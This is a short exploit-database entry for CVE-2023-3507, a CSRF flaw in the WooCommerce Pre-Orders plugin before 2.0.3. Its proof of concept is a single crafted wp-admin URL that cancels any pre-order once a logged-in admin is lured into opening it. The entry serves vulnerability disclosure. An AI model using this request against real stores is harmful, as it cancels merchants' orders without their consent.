Exploit for WooCommerce Pre-Orders < 2.0.3 - Arbitrary Pre-Order Canceling via CSRF CVE-2023-3507

Name: Exploit for WooCommerce Pre-Orders < 2.0.3 - Arbitrary Pre-Order Canceling via CSRF CVE-2023-3507
Rating: 5 (18 reviews)

2023-07-10 | CVSS 6.9

## https://sploitus.com/exploit?id=WPEX-ID:E72BBE9B-E51D-40AB-820D-404E0CB86EE6
Make a logged in admin open the URL below (42 being a pre-order to be canceled)

https://example.com/wp-admin/admin.php?page=wc_pre_orders&action=cancel_pre_order&order_id=42